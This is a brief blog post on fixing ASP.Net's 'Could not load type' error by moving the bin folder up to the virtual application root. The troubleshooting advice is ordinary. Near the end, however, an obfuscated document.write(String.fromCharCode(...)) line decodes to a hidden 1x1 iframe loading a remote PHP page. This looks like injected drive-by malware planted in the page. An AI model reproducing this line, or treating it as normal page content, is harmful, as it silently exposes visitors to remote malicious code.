Could

Today we encountered ASP.Net’s “Could not load type” error. This error is described in http://support.microsoft.com/default.aspx?scid=kb;en-us;Q306155
but unfortunately the given solution (rebuilt your solution/project) does not work… Duh… We’re professionals here, don’t you think we’ve tried that Microsoft? Luckely, there’s still google and after a quick search we found the solution.

Here’s the situation: our company uses an acceptation server that runs a large collection of sites that we developed or are currently developing for our clients. Each site has its own folder but all these folders are placed under a single virtual folder (application). For ASP.Net this is a single web application and thus it expects all the assemblies to reside in the bin folder immediately below the virtual folder’s folder.

So, in the first situation we had placed our assembly like this:

/webroot/acceptation/client_A/bin/ourAssembly.dll

But because ASP.Net doesn’t look in this bin folder because it’s too deep in the tree. Instead, we had to move our bin folder up one level so it looks like this:

/webroot/acceptation/bin/ourAssembly.dll

When we did that everything worked fine.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment